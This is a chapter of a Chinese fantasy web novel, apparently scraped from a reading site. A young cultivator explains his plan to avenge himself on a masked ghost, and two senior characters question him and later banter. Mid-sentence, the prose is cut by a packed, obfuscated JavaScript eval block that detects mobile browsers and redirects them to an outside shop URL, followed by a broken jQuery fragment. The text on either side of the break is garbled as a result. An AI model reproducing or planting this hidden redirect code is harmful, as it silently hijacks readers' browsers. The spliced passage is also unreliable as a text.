11. 真相

作品:《师兄,还要逃吗?

    “我知道我不应该这样,”离玟羽捂着脸,眼泪顺着指缝滑落,“但是我没办法劝自己放弃这个想法。”


    “单凭我自己根本找不到他,这是我唯一的机会。”


    “离小公子,”楚秋辞的手支在桌上,打断他说,“你连找都找不到他,还这么执着地上去送死,怎么,这条命是一定要送给傩面鬼吗。”


    楚秋辞笑着问:“你是有多喜欢他啊?”


    离玟羽哽住了,他挪开捂着眼睛的手,看了一眼躺在躺椅上不省人事的烟姝,眼角的泪还在落,半晌,他说:“因为这次傩面鬼已经一路杀了很多人了,可下一次大清洗在六年后,他就算再着急精进修为也根本没有必要这么着急忙慌地杀人,甚至连事后的案发现场都收拾不好,以至于我都能发现他的踪迹。”


    鬼蜮的恶鬼生来不被天道所容,修炼邪道就是逆天而行,因此恶鬼们每四十四年会迎来一次屠杀,主要就是强制恶鬼自相残杀,每一次持续时间在两个月到一年不等,能活下来的鬼修少之又少,也因为这个,每四十四一次的大屠杀也被称作是大清洗。


    “我承认,我确实是想展示自己的实力,确实是想报仇雪恨,但是我更想知道他到底为什么这么做。”


    离玟羽抬起头,没干的眼泪混着血水流下来,整个人狼狈至极,他抹了一把脸,充满豪情壮志地说:“我爹常说‘不管过得再不像一个人,也绝不可以做对不起自己的事情’,但我觉得我更不能做对不起天下人的事情,我既然知道了,那我就必须去做。”


    “而且,”离玟羽的目光再次落在烟姝身上,他愧疚地说,“她们死了,我也活不了的。”


    裴惊澜忽然插嘴:“那个咒——”


    “那是空舟门的禁咒,是连心咒。”


    离玟羽打了一个哭嗝,有些不好意思道:“我以前不学无术,专门去找禁书看,这个咒会把施咒人和施咒对象的命脉捆在一起,连心咒可以在关键时刻护住一方心脉,以假死之样蒙骗对手,但只要一方死亡,另一方也会爆体而亡。但如果施咒对象身受重伤却没有死亡,那么他今后的运势就会落在施咒人身上。”


    “以前有人拿连心咒做过一些坏事,当时的掌门就把这个咒封存了起来,列为禁咒,不让我们看。”


    离玟羽突然感觉身上多了两道死亡视线,顿时慌忙摆手:“我知道怎么解,当时走的时候已经解了。”


    “我想起来这个咒还是因为小姝姐姐那天说要跟我同生共死,此后再也不分开……”


    离玟羽的声音越来越小,本来已经停住的眼泪又开始流了起来。


    “我真的从来没想过她会受伤啊——”


    他从来没有想过真的要让小姝姐姐的性命受到威胁,只要计划没出差错,他的小姝姐姐甚至都不用面临被鬼上身的情况。


    楚秋辞嫌弃地看了眼离玟羽,不太想和他说话,转而跟裴惊澜对视了一眼,裴惊澜登时心领神会。


    “别哭。”裴惊澜在离玟羽身边坐下,问:“五十年前,你多少岁?”


    “十三。”


    离玟羽抽了抽鼻子,努力憋住眼泪,他不明白怎么突然问起了这个问题。


    “当时傩面鬼上门,你不在现场?”


    “不在。”


    离玟羽说着说着又想哭了,但他偷偷看了两眼似乎特别嫌弃他的楚秋辞,死死把眼泪憋住了。


    “之后是谁教的你这一身修为?”


    “我爹的朋友,我叫他尘叔。”


    “这次之前你没有出来历练过?”


    “尘叔不让,这次是我自己偷偷溜出来的。”


    “所以说你从来没跟傩面鬼正面对上,不知道傩面鬼的真正实力?”


    离玟羽懵懂地摇头。


    “有本事,有骨气,有志气。”


    没等裴惊澜继续问下去,楚秋辞抢先连说三个词,对着离玟羽鼓起掌来。


    裴惊澜有些牙疼地问楚秋辞:“我多年未曾远行,对外头的事一知半解,这傩面鬼是什么时候出现的?”


    楚秋辞深深地看了他一眼,答:“二百八十九年那次的大清洗之后,他最开始是杀了鬼蜮里的一只历经五次清洗的老鬼,据说那只鬼死得挺惨,傩面鬼的名号才被一些人知道。”


    裴惊澜没注意到这个眼神,他若有所思地点了点头,继续对离玟羽说:“既是经过了两次大清洗的成鬼,你一点准备都没有就直接奔着他来报仇了?”


    “也不算完全没有准备,”离玟羽眨了眨眼,没底气地反驳,“我知道他的弱点。”


    “他的身体不行,通常不以真面目示人,这个是众所周知的,”离玟羽卖了个关子,觑见另外两人面色有些不对,才小心翼翼地往后说,“但其实他早就不是活人了,他的魂魄是残缺的,这次他借别人的身体肯定难以忍受旁人肩膀和头上的三昧火,所以被他操控的身体也一定不是完全受他控制的。”


    鬼蜮中恶鬼众多,但其实都是走了邪路的修士,说其是恶鬼也只是因为他们以害人为修炼,常出行于暗夜,慢慢才有了这么个叫人害怕的名头。既是修士,那便是活人,况且死人连储存灵力的身体都没有,又如何能修炼的呢。


    然而楚秋辞听了这句话,倏地转头,并未否认这句话的真实性,反而问:“你是从何而知的?”


    “我……”离玟羽没了声音,“我听旁人说的。”


    “哪个‘旁人’能知道这样一只恶鬼最忌讳最隐蔽的秘密,还专程告诉你这么一个不知死活要跟人拼命的漏斗?”楚秋辞眯着眼逼问他,“到底是谁?”


    离玟羽却怎么也不肯说,翻来倒去就一句“我不知道”,这会倒像是个一问三不知的锯嘴葫芦了。


    楚秋辞问了两遍也没得到一个答案,他一扬手把桌上冷透的茶一口倒进肚子,平白惹来裴惊澜担忧的视线,顿时更是气愤,觉得这个祸害就是打见第一面起跟他合不来,他愤恨起身,一拍桌子就往外走,边走边说:“随便你说不说,惹得什么麻烦自己去处理了。还有那个躺着的那个,伤了就抱去给郎中看,别放我屋子里,到时候死了惹我一身晦气。”


    话还没落,人已经走出了屋子。


    呆愣着的离玟羽对他的话却状若未闻,目光怔怔地落在桌上,那里赫然有一颗白色丹药,药草的气息很浓烈,是清经丹,专门用于洗经伐髓,祛除经脉中的脏东西。


    烟姝被鬼上身,经脉中有遗留的鬼修法力,也就是俗称的鬼气。凡人要是长久被鬼气侵扰,轻则痴傻,重则神魂被侵蚀消散,成为一具没有魂魄的行尸走肉,但是要化解鬼气也很简单,用清经丹是最好不过的。


    烟姝迟迟未醒,一方面是因为失血过多,另一方面就是因为被鬼气困住了魂,让其原本的魂魄没办法归位。


    裴惊澜跟着起身,走前留下了几瓶常见的金疮药:“记得带她去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971488|193462||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看大夫,东城那边的张大夫挺擅长治内伤的,但是这手臂……”


    裴惊澜摇了摇头:“这个普通大夫估计也没办法,治好肯定是不大可能,但是她必须熬过去,不然性命堪忧。”


    该说的该做的他们都已经做了,剩下的就只能看她自己,裴惊澜说完这句便提步往门外走去,可刚走出就听身后一声闷响。


    离玟羽本就有伤的膝盖再次溢出鲜血,他朝着裴惊澜的方向一拜,郑重地说:“谢谢两位前辈,无论今后如何,今日的恩情我没齿难忘。”


    裴惊澜没回头,步子停了一下,说:“不用谢我,要谢就谢小楚,如果他不在我也不会出手。”


    “还有,你的伤也得治,小心久病难医。”


    “红楼背靠修仙界,每栋楼的底层都藏着这样一尊神像,听说每尊神像中都留着一道神力,所以……”离玟羽把刚才没说完的话说了,未明之言中藏着一个胆大包天的计划——他是要借神力来驱鬼。


    裴惊澜并没有太大的反应,他抬步向前走,道:“多谢。”


    正月十五,上元佳节,是祭祖拜仙的好日子。


    哪怕此时已经夜半三更,严格来说已经不算是上元节了,但裴惊澜走到院子里时还是看见远处有人在烧纸钱,跪在地上虔诚地祭拜。


    月明星稀,头顶几只寒鸦飞过。


    裴惊澜问:“伤还没好全吧,怎么站这儿吹风?”


    楚秋辞靠在树上,遥遥望着天空,脸上依稀带着些笑意:“今天家家户户都团圆,也是个赏月的好日子。”


    裴惊澜应了一声,走到他身边,跟着他的视线往天空看去,不由在心里感叹:这时代的月亮比现世圆上不少。


    “裴兄,”楚秋辞偏头看他,“那个傩面鬼跑了怎么办?”


    裴惊澜没说话,手攥成拳,半只隐在袖子里,就这么伸到他身前。


    楚秋辞看看他又看看他的手,没问什么,摊开掌心。


    果然,一把刀被放在了他手心,是裴惊澜被傩面鬼控制时拿走的那把楚秋辞的刀,也是钉住傩面鬼的那柄,然而原本让楚秋辞再熟悉不过的刀身此刻却有了些不同,尽管看起来还是那样,但就是让人觉得现在的它更漂亮,更有精气神了,也更亮了。


    “那个赌约,算你赢了。”裴惊澜笑着问,“想要什么?”


    楚秋辞的注意力都被那把刀吸引了过去,他拿起刀细细看起来,随口说:“不知道。”


    “嗯?”


    “还没想好,”楚秋辞看着裴惊澜的眼睛说,“等我想好再说吧。”


    “好。”裴惊澜毫不犹豫地应下。


    随后,他又看着那刀上刻着的“入雪”二字,说:“抱歉,我擅自给这刀留了个追踪咒,他会带你去找傩面鬼的。”


    “你的伤……”裴惊澜顿了一下,还是没有问出口,接着说,“你准备什么时候去?”


    “你在赶我走吗?”楚秋辞站直身子,将刀收入怀中,没了表情。


    “我只是问一下,倒是也免得临时知道,来不及给你备行李。”


    顺便,他也好早点给自己准备一下行李,去开始他的“新生活”。


    “可是裴兄,”楚秋辞说,“我要你跟我一起走。”


    裴惊澜愣住了:“为什么?”


    “因为一不看住你,你就想跑呀,哥哥。”


    楚秋辞一句一顿道:“就比如现在。”